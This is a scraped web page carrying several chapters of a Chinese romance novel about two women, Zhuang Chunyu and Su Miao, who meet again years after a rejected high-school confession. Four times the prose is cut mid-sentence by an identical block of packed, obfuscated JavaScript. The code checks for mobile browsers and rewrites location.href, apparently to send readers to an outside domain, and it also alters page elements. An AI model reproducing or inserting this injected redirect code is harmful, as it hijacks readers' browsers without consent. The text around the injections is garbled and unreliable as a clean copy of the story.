有纯看风景享受山水的。 也有慕名而来想见见画手老师的。 还有汪月笙这样,大学刚毕业,没找工作想先到处玩玩体验一下大好人生的(× 实际是毕业就失恋,哭着嚎着过来这边疗情伤的。 庄春雨瞧她这幅容光焕发的样子,忍不住调侃:“看样子你的情伤已经完全好了呀小汪,能吃能喝能睡,不像上周刚来的时候,一到晚上,就哭哭啼啼。” 小范也挤眉弄眼:“是不是?前几天她喝醉酒还吵着闹着要给前女友打电话,苏缈一来,她整颗心都飘到人家身上去了。” 张张:“哈哈哈哈哈!” 张张:“她是这样的,她以前不是还暗恋过你吗Ring老师,结果被你拒绝后就伤心了两天。” 汪月笙:“住嘴!!” 庄春雨开了罐啤酒,也跟着笑,先前心里生出的那点点狭隘和不快,也在冒着冰气的白色汽沫里消散得一干二净。 汪月笙早已在朋友们的笑声里锻炼出一副厚脸皮:“那怎么了,食色,性也。” 庄春雨挑眉,整个人朝后往躺椅上靠,又抿了一大口啤酒。 她觉得这话很有道理。 人嘛,活着,来来去去就那么些事情。 及时行乐,开心最大。 被扔在边几上的手机屏幕中途亮了几次,喝完两罐酒,庄春雨才后知后觉般想起,伸手捞过。 看清楚发消息来的人是谁之后,她漾开的笑意停在了唇边,若有所思。 苏缈问她,明天有没有时间。 当然有。 庄春雨舔了舔唇,但她不能这么回答。 她慢腾腾地打下‘不好意思,明天有工作诶’这几个字。 句子还没发送过去,窗口上方的状态跳成“正在输入”。 苏缈先她一步。 -我听小汪说,你的工作暂时告一段落了。 庄春雨悬在绿色发送按钮上的指尖,又落了回去。 一旁,汪月笙撸完两根串,见她手里空了,很好心地递过来几根串和开好的啤酒。 庄春雨斜眼,睨她。 汪月笙:“干嘛?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361001|183679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 瞪她干嘛,她又做什么了吗? 庄春雨想了想,删掉对话框里打好的句子,从椅子上坐起来,手背抵着唇:“苏缈说,她明天想去清水湖玩,但一个人怪无聊的,问我有没有空给她当导游,我把你带上,怎么样?” “去吗?” 庄春雨笑得十拿九稳。 她一点也不担心汪月笙会拒绝,当然,也不担心汪月笙真的会和苏缈发生什么。 前者是基于对朋友的了解,而后者,是基于对苏缈的了解。 她只是不想和苏缈单独相处。 汪月笙被这突如其来的幸福砸的晕头转向,被辣椒呛了两口,一副要哭出来的样子:“姐!你就是我永远的姐!我将永远拥护你!” 她双手递上啤酒罐,谄媚至极:“给你酒,姐,你请喝。” “好呢。” 庄春雨接过她的诚意,重新靠回椅子上。 其实已经有些脸热了。 庄春雨不嗜酒,酒量一般,还比较上脸,但和朋友们待在一起的时候从来不会扫兴。 慢悠悠地喝完第三罐啤酒,她起身,和其它人说自己先回房间。 酒精让血液流动的速度都变得慢起来,思绪也变得迟钝,房间门将热闹与晚风一同隔绝在外,圈出个只属于她的,静谧的夜晚。 喝下去的啤酒泡沫,开始在血液里发酵,一点点胀开,鼓动着。 庄春雨坐在小沙发上发了会儿呆,摸出手机,给苏缈发消息。 问她。 -你的手机,充好电了吗? 这条消息有点无厘头,上方“正在输入”的状态闪了又闪,苏缈大约在疑惑。 疑惑消息的内容,又或者……疑惑她突然的主动。 但还是有回复。 -已经充好了。 半个字都不多余的回答。 庄春雨打字,提醒她。 -哦,那明天出门记得带充电宝。 -不然又该没电了。 就像今天傍晚那样。 虽然,刚刚在门口扫码的时候,庄春雨不小心瞥到苏缈的屏幕电量。 百分之八十五。 根本,就不是没电。 5. 对不起 第二天庄春雨起了个大早,将自己精心拾掇一番,九点的时候苏缈敲响她的房门,两人走到院门口,“刚巧”,碰上汪月笙“也”准备出门。 双方客套一番,庄春雨问她:“你这副打扮,是准备出门玩呢?” “你怎么知道,我今天准备去清水湖看看!” “这么巧?我们也要去清水湖。” “不然一起?” 庄春雨这个“不然”十分之随意。 演员二号,差一点没憋住::“我没问题,那……苏老师,方便吗?” 苏老师方便吗? 庄春雨和汪月笙唱完双簧双双转向一侧,朝苏缈望去,等一个回答。 不算多高超的演技,苏缈被逗笑。鼻间的气息稍稍浮动,她声音里多添几分无奈:“一起吧,人多热闹。” “我打个车。” 待人转身,汪月笙试图用眼神和庄春雨来个快乐击掌,却被庄春雨活生生给无视了。 庄春雨并不想和她击掌。 不必和苏缈单独出行,她是松了口气,但多捎一个汪月笙也没觉得好到哪去。 清水湖,是水镇周边挺出名的一个景点。 占地面积大,非常适合打卡拍照。 清晨,或者临近黄昏,太阳不那么毒辣的时候,还会有骑行爱好者绕湖骑行。 有游湖项目,五十元能划半小时。 周边,还有不少衍生出来的其它人造景点。 总之,就庄春雨在这水镇住这么久的经验来看,花整天时间只去这一个地方的话,可以玩得十分清闲,走走停停,又走走停停。 原本,苏缈说的是拜托庄春雨陪她一起,充当向导。 现在多了个汪月笙,一个想要在女神面前多挣表现的小女孩,很多事情,都不用苏缈开口问。 上午逛完,她嘴没停过,叽叽喳喳。 见她这么熟悉景点的情况,甚至将游玩的路线都规划得相当合理,苏缈有些好奇:“感觉你很熟悉的样子,之前来过吗?” 苏缈有个习惯,她和你说话的时候,一定会看着你的眼睛。 这样,就很容易给人种被温柔注视的错觉。 汪月笙不是很能受得了她这个习惯,被注视着看了会儿,女孩脸就开始发烫了,说话也有些紧张:“啊?不是,那个……其实是今天要出门,昨晚上特意做了很久攻略,是刚好派上用场。” “我作证,小汪是个计划非常详细,做事十分细心的人。” 见小妹妹要招架不住了,庄春雨添补一句,将话接上。 苏缈的目光,自然而然也就移落到了她身上。 不同的是,苏缈望向她的时候,眸中含了点似有若无的笑意,她将几绺不听话的头发勾到耳后,声音很轻:“是吗?” “那你呢?” 那你呢。 昨晚答应了要充作向导,却一声招呼不打,偷偷摸摸多叫一个人来。 和庄春雨相比,汪月笙显然更用功,更在意,更加的,重视。 庄春雨并不重视她。 “我……”没听出苏缈的深意,庄春雨倚在木桥的栏杆上,以指为梳,五指没入柔软的发丝,“我没有做计划的习惯,也不细心,出去玩都是走到哪算哪,开心就好。” 汪月笙把事情都做了,她巴不得。 乐得清闲。 不过午饭,吃的是庄春雨提议的酒楼,靠湖边,能观景。 下午,三人买好票去附近的剧场看了一场舞台剧。 到日落时分,坐船游湖,庄春雨自己坐在一侧,特意让汪月笙陪着和苏缈坐在对面,氛围相当融洽轻松。 庄春雨便以为,这是愉快的一天,自己也算功德圆满。 可回到民宿各自分散后没多久,她就收到了汪月笙发来的哭嚎,连着十几条。 彼时,庄春雨正对着镜子卸妆,妆卸到一半,手机都快要被震烂:“这是什么情况啊……” 汪月笙说,自己被婉拒了。 原来几人回到民宿后庄春雨又是率先开溜的那个,苏缈和汪月笙没立即回房,而是坐在一楼喝了会儿茶,顺便聊天。 汪月笙还以为这是和心上人拉近关系的好机会呢,没想到聊着聊着,苏缈就用三言两语将她的心思挑到了明面上,委婉地发了张好人卡。 明明没有表白,却被一眼看出藏起来的喜欢。 人还没开始追呢,就已经宣告结束。 汪月笙表示,她十分伤心,特别难过,好像失恋。 小群里已经炸开了锅。 小范怕汪月笙又发疯,走的委婉路线可劲安慰:被拒绝了也好,长痛不如短痛,咱就是说这事也不现实啊是不是,汪啊,以后咱们做梦也先挑挑人吧…… 张张就比较直接:笑死,根本没恋过。 小汪:单恋就不算恋??? 庄春雨敷上面膜靠在沙发翻了会儿消息,大致将事情经过了解清楚。 十五分钟后,她拿起手机,出门。 不明白。 所以她有好多个问题想要问苏缈,还伴着一阵阵熟悉的尴尬感。 苏缈这么做,不是明摆着已经知道今天早上偶遇那出是她们演的吗? 但还是陪她演了一天。 脑子里天人交战,庄春雨站在晚风中凌乱,在“去问”和“不问”之间打了好几十个回合以后,一声熟悉的问候打破这宁静:“你还要在那里,站多久?” 庄春雨愣了下,转头。 还是那个露台,朦朦胧胧昏黄色的光晕下,苏缈就坐在最角落的地方,静静望着她,光线把人做旧,给人赋上一种像是淌过时光长河,来到此处,只为了等她的错觉。 庄春雨恍惚片刻,回神—— 早就跟辛朝说过,让她当老板别那么抠,多花点钱给露台换盏好点的灯,现在这样不伦不类的氛围,整得……苏缈要跟她一眼万年似的。 庄春雨悄无声息咽咽口水,朝露台过去:“好巧……” 那个“巧”字的音还没发完,苏缈望着她,笑了。从鼻息间荡出来的,很轻盈的一声笑,扰乱这夜晚的宁静:“今天巧合还挺多的。” 庄春雨的心也跟着荡了一下。 “啊?……嗯……”她用了不到一秒反应过来苏缈在暗指早上事,眼神一会儿左飘,一会儿右移,最后决定佯作不懂,目光大大方方落回苏缈脸上,拉开椅子坐下,“其实,是准备去找你聊聊。” “因为小汪的事情吗?” “嗯。” 苏缈看着她,她也看着苏缈。 双方都不意外。 庄春雨在苏缈那双清透的黑眸里看见了不遮掩的坦荡。 是的,苏缈仿佛料到自己会找她。 庄春雨突然发现,此刻坐在她面前的这个苏缈,已经不是自己十几岁时认识的那个,而她,也不是以前那个庄春雨了。 或许,她们应该重新认识一下。 所以她不再拐弯抹角:“你怎么知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361002|183679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,小汪她喜欢你?” “很不明显吗?” “难道明显吗?” “明显。” 苏缈的回答言简意赅,甚至透出几分理所当然。 庄春雨相当震惊! 她想问,你不是直女吗?直女对来自同性的喜欢,有这么敏感? 苏缈沉吟,补充:“就像你当初喜欢我的时候那样,非常明显。” “……” 哪壶不开提哪壶。 这句话,给庄春雨直接干沉默了。 明显,吗? 不出意外,她又要抠三室一厅了。 但今晚穿的是拖鞋,会特别失礼。 “咳。” 庄春雨轻咳一声,低头,眨眼,又眨眼,搭在腿上的五指无意识地收拢又松开。 对面苏缈也被尴尬的气氛感染到几分,一条腿放下,换上另条腿,又搭上。 不知过了多久,两人几乎同时开口: “我想和你说声对不起。” “以前的事,我欠你一声对不起。” 诡异地同步。 庄春雨率先反应过来,像是听见了这世间最荒谬的言论,她看着苏缈:“啊?” “你?和我说对不起?为什么啊?” 昏了头在大庭广众表白的人是她,被拒绝的也是她,让苏缈成为人群聚焦的人是她,让苏缈丢脸的人,还是她。 让苏缈和她说对不起? 她也配? 哈哈,庄春雨想扇自己两下。 她下意识想,苏缈人真是有够好的。 但她脸皮还没厚到能就这么收下这个道歉的程度:“说真的,其实过去这么多年我早就不在意了。没错,当时我是觉得很丢脸,无地自容,当然你也知道我是个很爱面子的人,但都过去这么久了,你不用为了安慰我和我说对不起,真的,没关系的,我们都长大了。” “我以前会伤心,是因为我真的太要面子了,毕竟当时那么多同学看见了,然后传来传去传,得大家都知道。” 她一口一个面子,只字不提喜欢,口吻也十分随意。 其实当时,庄春雨是真的觉得苏缈也喜欢自己,所以才那么大胆。 结果呢? 小丑竟是她自己。 想着想着,庄春雨差点又代入进去,有一点鼻酸。 好窝囊。 苏缈安静听她说完,静静开口:“除了要面子,最重要的,难道不是因为喜欢没有被回应吗?” 庄春雨正经两秒:“那当然,也有一点。” “可是你也没有回应我的义务啊,”她“嗐”一声,笑着掩饰过去,轻松又带点玩笑的语气,“都是好多年前的事了,想起来都觉得好幼稚,现在想想,如果没那档子事的话,我们现在应该还是很好的朋友。” 苏缈看着她,没说话。 她笑,苏缈却不笑,这样一来气氛就显得很干巴了。 庄春雨特别讨厌这样的气氛,使她坐立难安。 “怎么不说话?”她挪了一下屁股,开始找话题,“你这个时候应该说……” 苏缈忽然打断她:“其实,我有。” 庄春雨的神情渐渐疑惑。 紧接着,她听见苏缈很轻地叹了口气,轻到她几乎以为,是自己出现了幻觉:“有什么?” “我有回应你的义务。” “但是我不敢。” “所以庄春雨,这声对不起,是我欠你的。” 6. 我们是朋友 “嗯?” “是这样吗?” “哈哈哈哈。” “你好严肃啊苏缈,没关系啊,就像我刚才说的,都已经过去了。” 庄春雨一直在笑,没敢停。 她怕停下来以后就会被苏缈发现,自己的轻松和无所谓都是装出来的。 还是那句话,她真的很要面子。 她要在苏缈面前大大方方、漂漂亮亮的,让苏缈看见现在的自己过得很好,也从未为过往的事而伤神。 这是一种怎样的倔强呢? 庄春雨自己也说不明白,大约,是因为从苏缈认识她起,她从来就是人群里最光鲜亮丽的那一个。 她有好多好多的东西,爸爸妈妈的爱、优渥的家庭、数不完的朋友、惹人爱的性格还有这张招人喜欢的脸,普通小孩所羡慕的东西,她都有。 她是被老天垂爱的那个小孩。 她还有一双巧手,就连培训班的老师,都夸她画画很有天赋。 除了文化成绩不怎么样。 但这点微不足道的缺点,被庄春雨自动忽略。 看起来性格很好的她,其实有着与生俱来的高傲,任何人面前,她绝对不允许自己低头。 特别,当这个人具体到苏缈的时候。 所以当年即使是被当众拒绝,庄春雨也在大家面前表现出一副很无所谓的样子,说:“这样啊,那真是遗憾。” 可那件事后她和苏缈没再来往,也不再是朋友。 是高中的最后一年。 她很快又拥有了更多的朋友,身边也从来不缺人,更不缺追求者。 枯燥的高三生活里,庄春雨从来都是出现在同学们口中的热门人物。 “我很完美。” “这个世界的所有爱,都该奔我而来。” “苏缈不喜欢我,是她的损失,是她没有运气能够拥有这么好的我。” 二十岁生日之前,庄春雨一直这么想。 这么多年,偶尔想起自己无疾而终的第一次心动,没有被回应过的喜欢,其实还是失落居多。 直到昨天,直到前一秒。 但苏缈刚刚那几句话,让庄春雨觉得荒谬和抵触。 没心思和对方继续聊下去,庄春雨找了个借口,体面地结束掉对话,躲回房间。 有“回应你的义务”是什么意思呢? 只有互相喜欢,才有这种义务吧。 庄春雨压根不愿深思这句话背后的深意。 假如苏缈是摆在橱窗里的,一件她特别特别喜欢的玩具,那她宁愿自己从来都买不起,而不是,明明差一点就能拥有,却因为各种各样的原因而没能买到。 后者,比前者更让她抓心挠肝。 更加的,不甘心。 尽管这些天以来,苏缈的刻意接近和各种示好,已经代表着过去的某个错误答案被推翻,而新的答案,正浮出水面。 庄春雨应对的方式,是蒙头大睡。 睡到日上三竿,神清气爽,那些乱七八糟的念头也压下大半。 她醒来后翻开小群,发现张张她们昨天晚上还出去喝了酒,凌晨三点才回来,小范在群里@了她,问她去不去,不过当时时间太晚,看她没回,默认已经睡了。 庄春雨边洗漱边回消息:昨天太累了,睡很早。 退出,又点开其它的消息红点。 其中有条,是苏缈的微信转账,还她那天垫付的饭钱。 庄春雨想了想,退回转账,按住语音键:“不用还了,这么多年没见,这顿就当我尽地主之谊请你吃的。” “咻”一声,消息发送过去。 瞧瞧!这就叫,格局。 庄春雨轻挑眉梢,放好手机,边哼歌边刷牙。 昨晚她最后和苏缈其实没聊什么,只是故意打哈欠,错开话题,说自己好困想回房休息。 是的。 逃避虽然可耻,但有用。 午饭,庄春雨下楼和花生一起吃,蹭的民宿员工餐,吃饭的时候,她不费力就打听到苏缈在这订了多久的房间。 “到四号。”花生直接拉出表格给庄春雨看,一点儿没把她当外人。 庄春雨掰着手指头算:“今天二十九号,三十,一、二、三、四、五……” “还有七天。” 剩一周,挺快的。 庄春雨稍稍安心。 再过一周,苏缈就要回去了,到时候她就不用过得这样胆战心惊。 不过话说回来,苏缈一个省台主持人,这么闲的吗? 不年不节的,出来一次就玩半个月,正常单位就算是年假都没这么长吧? 庄春雨盯着日历沉思。 花生歪头观察她的表情,突然好奇:“姐,你打听她做什么?该不会也对人家有意思吧?” 花生跟汪月笙也混得很熟,两人差不多大。 庄春雨看她一眼:“别乱说,我和她认识,我们以前是朋友。” “正经的那种吗?” “正经。” 花生一脸不相信,趴在前台上:“正经朋友你偷偷摸摸跑来问我她订到几号?正经朋友,你怎么不去问她本人?” “小孩子,你不懂的,”庄春雨没打算和她多说,扯开话题闲聊几句,走前问,“对了,你们老板什么时候回来?” “明天,或者后天,好像是。” “你不是有她电话吗?自己问。” 想不起来具体时间了,花生把问题又抛回给庄春雨,几米外,庄春雨头也不回地往外走,举起手对着后方比出个“OK”的手势。 想着在民宿待着碰见苏缈的概率比较大,庄春雨出门,到古城的画馆里待了整天。 回来时,是晚上快九点。 上午发出去的那条语音消息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361003|183679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏缈在半小时前回复了她,庄春雨开小电驴走夜路没看手机,回房坐下,才看见。 也是条语音消息。 她点开。 “嗯,那好……咳咳……那我回头走之前,也请你出去吃一次。”女人虚弱的声音里夹杂着压抑的咳嗽声,鼻音更是明显。 一听,就是生病了。 庄春雨有些意外,昨晚闲聊时人还好好的呢。 她打字过去,问些废话。 -你生病了啊? 发完消息,庄春雨扔开手机,拎起回来时在路边买的一斤樱桃,走进洗手间。 半小时后,她吃完最后一颗樱桃,刷着看无可看的微博,切回微信。 苏缈还是没回。 庄春雨想了想,起身出门。 当她反应过来时,人已经站在了苏缈的房间门口。 敲门。 一下,两下,三下。 在等人开门这十来秒的间隙里,庄春雨问自己,真的担心吗? 还是只是想过来看看。 门开的那一瞬间,她有了答案。 屋内照出来的灯光,勾出纤弱的人影轮廓。 苏缈正要开口,喉咙忽然泛起一阵痒意。她偏过脑袋低头捂唇,咳嗽几声,才重新抬头:“你怎么来了?” 清清柔柔的脸庞,写满了病弱感。 像一朵快要枯萎的白海棠,蔫巴巴的,那双总是盛满柔意的水眸,此刻也没了神采。 庄春雨望着她,感受自己心脏的变化,看似闲聊:“听你声音不太对劲,给你发消息又没回,怕你一个人在房间里出事。” “生病了吗?” “有点发烧。” “昨晚空调开太低,早上起来就这样了。” 是吗? 庄春雨回想昨晚的天气,好像还挺凉快的,昨晚她都没开空调。 苏缈不是很有精神,声音也有气无力,她说话时没再注视庄春雨的眼睛,好看的长睫,垂了下去。 下一秒,前额传来温温凉凉的触感。 苏缈愣住,掀眼。 面前,庄春雨在仔细感受着,纠正她的话:“好像不止一点。” 真是有够烫的。 昏睡一天,也没想着出门去看个医生吗?也不怕烧傻。 苏缈静静凝着她,倏尔,虚弱地勾起唇角:“你是在,关心我吗?” 那双黯淡无光的黑眸里,掺了星点笑意。 庄春雨听见自己心脏,重重跳了一下。 乱七八糟的念头在脑海中碾过,生根,发芽。 那一瞬间,她忽然很想吻上面前这双唇,将虚弱的苏缈抵在墙边,掠走她为数不多的氧气。 很坏的念头,十分糟糕。 庄春雨的视线落在女人的唇上,轻轻一晃,又移开。 她收回手,回答苏缈:“我们是朋友。不是吗?” 7. 你还要吗 曾经摆在透明橱窗里,那件没能带回家却十分昂贵,很多人都想要的玩具,现在就摆在你面前,你还要吗? 如果有人这么问庄春雨,那她会说,不想要了。 因为她已经长大。 不管是人还是物,过了那个想要的点,后来再看,就觉得不过也就那样。 庄春雨始终觉得,很多东西,其实它本身并没有那么好,不过是因为“想要”这种情绪的存在,所以被人主观地赋予上了一层又一层的滤镜。 人会被欲望迷住双眼。 但苏缈不同与其他任何人和物,因为她就站在这,庄春雨便已经听见了她的心脏在说,还是想要。 怎么办?还是想要。 大抵是因为,苏缈无需庄春雨给她赋予任何多余的滤镜,她本身就足够好。 而且现在苏缈,比以前更好。 “不是带我去镇医院吗?” 停好小电驴,两人在一条黑黢黢的巷子前下了车,苏缈环望一圈,转头看向锁车的人。 庄春雨将头盔随手挂在车上,领着人往狭窄的巷子里走。手机电筒的光照在脚下,并肩的身影晃晃悠悠,拉得老长:“去镇医院有点绕,你人不舒服,咱们就近。” “诊所?” “不是,是个阿姨,她家里是祖传行医的,听说唐朝那会儿还出过御医,不知道是真的还是假的。” 苏缈轻轻眨眼。 几个呼吸过去,她停下脚步,用一种难以言说的语气:“有证吗?” 把庄春雨问懵了。 好一会儿,她才反应过来苏缈问的证是什么证,没忍住笑出声,但还是解释:“你放心,她医术很好的,周围十里八乡都有名,经常有人跋山涉水慕名过来,给我也治过几次。” “哦。” 苏缈重新迈动虚弱的步伐。 今晚没有星星,也没有月亮,但还是有昼亮的白光照在她脚下。 庄春雨走在她身旁。 苏缈抿了抿唇,收回视线。 快十点,这样的小镇在远离景区的地方很少有夜生活,本地居民差不多已经睡下,庄春雨领着苏缈往前走了几十米,在一家门户紧闭的院子前停下来。 接着,她摆弄手机,开始拨电话。 “杨医生刚睡下,咱们等会儿,她说她上个厕所再来开门。” “嗯。” 没几分钟,黑乎乎的院子亮灯了。 有人过来开门,把她们接进去。 苏缈有些惊讶,庄春雨好像和这个镇子里的所有人都认识,都熟悉,即便是大半夜把人从睡梦中吵醒,主人家也没有觉得不耐烦,反而同她说笑闲聊。 但随即又释然。 因为从学生时代起,好像就是这样。 “喝点热水吧,我先去准备工具,你们坐会儿。” 医生给苏缈把过脉,放下两杯水,又离开。 庄春雨对屋子的陈设以及环境都非常熟悉,医生走后,她坐在那,看起来十分松弛。 回了几条消息,她抬头看苏缈,问:“你怕疼吗?” 退烧的药苏缈白天已经吃过了,但还是反复发烧,医生说先退烧,针灸放血。 庄春雨想着第一次针灸的人,应该都会怕,更何况还要放血。 苏缈也很实诚:“我怕。” “没事,针灸不疼的,你别看它那么——长一根针,它只是瞧着吓人,其实真扎下去就和被蚊子叮一下差不多。” 苏缈沉默了两秒,唇角牵起细微的弧度:“庄春雨。” “嗯?” “你在使坏?” “我没吓你!” 庄春雨反应过来,否认自己在使坏。 什么啊? 她在苏缈心里到底是个什么印象,还是十几岁时,那个任性又张扬的大小姐吗? 可她只是想说说话,让沉默的气氛变得活跃一些,不那么尴尬。 现在和苏缈单独相处,总有一种,熟又不熟的感觉。 庄春雨和十几岁的苏缈很熟,和眼前这个苏缈,不熟。 “嗯,知道。”苏缈没在意,她此刻没太多的精力去计较这些,声音里都透着沙哑和疲惫,“我有一点累,可以在你身上靠会儿吗?” 她提出一个不算过分的请求。 庄春雨没有拒绝。 肩膀,沉了沉。 苏缈身上异常的体温,还有发间淡淡的洗发香,都渡了过来,好像千丝万缕无形的线,将人圈圈缠绕。 世界都安静了,只剩规律起伏的呼吸声。 庄春雨又听见自己心跳的异响。 她低头,悄悄观察靠在自己肩膀上的苏缈,这人一点儿也不见外,大半个身子的重量都放了过来,那双温柔的眼睛轻阖着,巴掌大小的脸生病的缘故,白得惊人。 有种易碎的虚弱感。 病美人呢。 都是妈生的,怎么苏缈就能生得这样好? 庄春雨边看,边腹诽。 虽然她也不差。 “她这个咳嗽有点严重,不是受寒引起的,估摸着有一阵了,一会儿放完血再配合普通退烧药一起,争取能把这烧一次退下去,不能再反复了,有条件之后最好还是去医院开个详细检查。” 门口,杨医生拿着针灸包和消毒工具掀帘而入。 “是之前病过一次,肺炎没好全。” 庄春雨肩上重量一轻。 苏缈坐起来,解答医生的疑惑,又咳两声。 “那就说得通了。” “开点中药回去熬吧,她住的地方应该能熬?”医生说话的时候看向庄春雨,她默认两人一起,庄春雨身为陪看的那个该为病人负责,类似于监护人,“没有药罐就到镇上去买个,问老板借一下后厨……还有,好好调理,该忌口忌口。” 庄春雨:“知道了杨姨。” 在你来我往的闲聊里,苏缈按照医生的指示将手伸出去,针扎进穴位里确实不痛,但她还是下意识皱眉,朝庄春雨所在的方向偏脸。 四目相对的瞬间,苏缈的眼波晃了晃。 很快,一颗颗细小的血珠从手背上冒出来。 半个小时后再量体温,果然已经在降。 医生将几个捡好的药包拿过来:“抽烟喝酒吗?” 这话,是在问苏缈。 庄春雨却和医生一起望向她。 苏缈摇头:“不抽烟,不喝酒。” 啊…… 庄春雨意外,又不意外,无意识嘀咕:“还和以前一样乖。” 三好学生,不像她。 苏缈没听清:“什么?” “没什么,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361004|183679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄春雨起身,做最后的收尾,“大半夜的打扰你了杨姨,多少钱呢?我付一下。” 从侧门出来,两人又沿着来时的路,往回走。 苏缈精神头比来时好很多了,庄春雨便捡着话同她聊,从“你对中医一无所知”,聊到肺炎:“身上有病还出来旅游?你不怕死啊。” 苏缈像是知道庄春雨会问这个,笑了笑:“我想来。错过这趟,下次,就不知道是什么时候了。” 这句回答,让庄春雨有些惊讶:“不像你能做出来的事。” “嗯?” “我是说,我以前认识的你不会这么做。” “不是你说的吗?我们都长大了。” 苏缈用她的话回答她。 庄春雨挑挑眉,不否认。 “你好像对这个镇子的每一处都很熟悉。” “算是吧,刚到这里的时候晚上失眠睡不着,就喜欢到处乱逛。” “不怕吗?这里很多小巷里,都没有灯。” “不怕啊。” 庄春雨轻声:“这里的环境相对国外来说,已经很安全了,这里只是黑而已。” 苏缈转头,有一点点疑惑。 什么叫,“只是黑而已”? 庄春雨舔舔唇,表情闪过一丝不自在,说笑着圆了过去:“哎呀,我的意思是说在国外很多地方,繁华热闹都只是表面,像我们那些留学生圈子,里面大部分人都只是瞧着光鲜亮丽,实际上私下里,早就乱成了一锅,装得人模狗样。” 苏缈被她逗笑:“你也是吗?” “我当然不是。”庄春雨撇清自己,用了一个很有趣的形容,“我是,正直的小白杨。” 当然,现在已经不小了。 “嗯……” 很明显的笑音,气息在空气中浮动,晚风都变得轻盈。 庄春雨接着说:“所以我说水镇很好,不吵闹,不喧嚣,这里的人都很好。” “那这几年,在国外有交女朋友吗?” 风,好像忽然停了。 庄春雨唇边的笑意也凝了一瞬。 仍旧没有变化的,是苏缈那双明净的眼眸。 她转过头,看向庄春雨。 庄春雨撇撇嘴,漫不经心:“当然有。” 嘴上这么说,她却没有转头去看苏缈。 就这么小段路,走了一万年那么久。 车子安安稳稳地停在巷口,庄春雨伸手去拿头盔:“不说这些了,你现在感觉怎么样?” “好很多,头没那么晕,身上多了些力气,额头应该也没那么烫了……” “你要摸一下吗?”苏缈问她。 就像今晚在门口那样,用手背碰碰。 这其实不算是件有多暧昧的事,可从苏缈嘴里说出来,就有了暧昧的感觉。 但她没有等来清凉的手背。 庄春雨将手里的头盔轻轻套在她头上,左右而言他:“咦,我发现我这个头盔也很衬你诶,难道真是长得好看戴什么都好看吗?” “你烧刚退,不能吹风,得遮严实点。” 庄春雨一本正经,正直得,好像一颗真的小白杨。 苏缈牵出个淡淡的笑,扶了扶头盔,温温地看向她:“那现在呢。” “有女朋友吗?” 还,喜欢我吗。 8. 变量 “没有。” “怎么,你要帮我介绍吗?” 庄春雨一改先前躲躲闪闪的态度,忽然大方起来。她一手撑腰,别开耳边的碎发,脸上的笑容自信,且张扬,“其实我这个条件确实不错是不是,要长相有长相,要身材有身材,嗯……艺术气质也是有一点的。” 苏缈凝着她,笑了。 “走吧,回去。” “不给我介绍吗?”庄春雨不依不饶。 “那你说说看,喜欢什么样的?” 跨上小电驴,庄春雨摆了下车头直接上路,说话时,她会稍稍向后偏头:“得漂亮,有气质,还得谈吐优雅,我喜欢温柔一点的,最好是姐姐类型,有点小钱吧,毕竟没有物质的爱情就是一盘散沙~~” 静谧的小镇夜晚,车轮哐当哐当碾过石板路,风声呼啸而过。 苏缈的声音便被衬得格外柔软:“你描述的,好像是我。” “?”庄春雨噎了下。 原本只是糊弄人的话,仔细一想,这标准还真能和苏缈吻合上。 冥冥中,仿佛注定。 漏掉半拍的心跳,被藏进呼呼的晚风里,她转开话题:“你没听清楚吗?我说的是姐姐类型,我怎么记得你好像比我小。” “比你大半岁。” “哦。” “那算了,其实我自己也挺姐的。” 心跳又乱了一瞬。 庄春雨选择收回说出口的话。 再也不敢胡说八道了,眼前这个苏缈,浑身上下都透着一种诡异。庄春雨斟酌着避开:“但你们主持人圈子里,是不是还挺多这种类型的?” “回头帮你问问。” 庄春雨有点意外。后视镜里,她看不真切苏缈那张被夜色模糊过的脸,只能顺着继续接话:“那我先谢谢你。” “专心开车。” 苏缈主动结束话题。 回到民宿时刚好十一点半,前台没人,两人在楼梯口道别,谁都没有提明天和下次。 从浴室出来,庄春雨裹着一身潮湿的气息钻进干燥的被窝里。 闭眼,酝酿。 脑海里浮现的出来的画面,是两个十几岁的穿着校服的女孩。 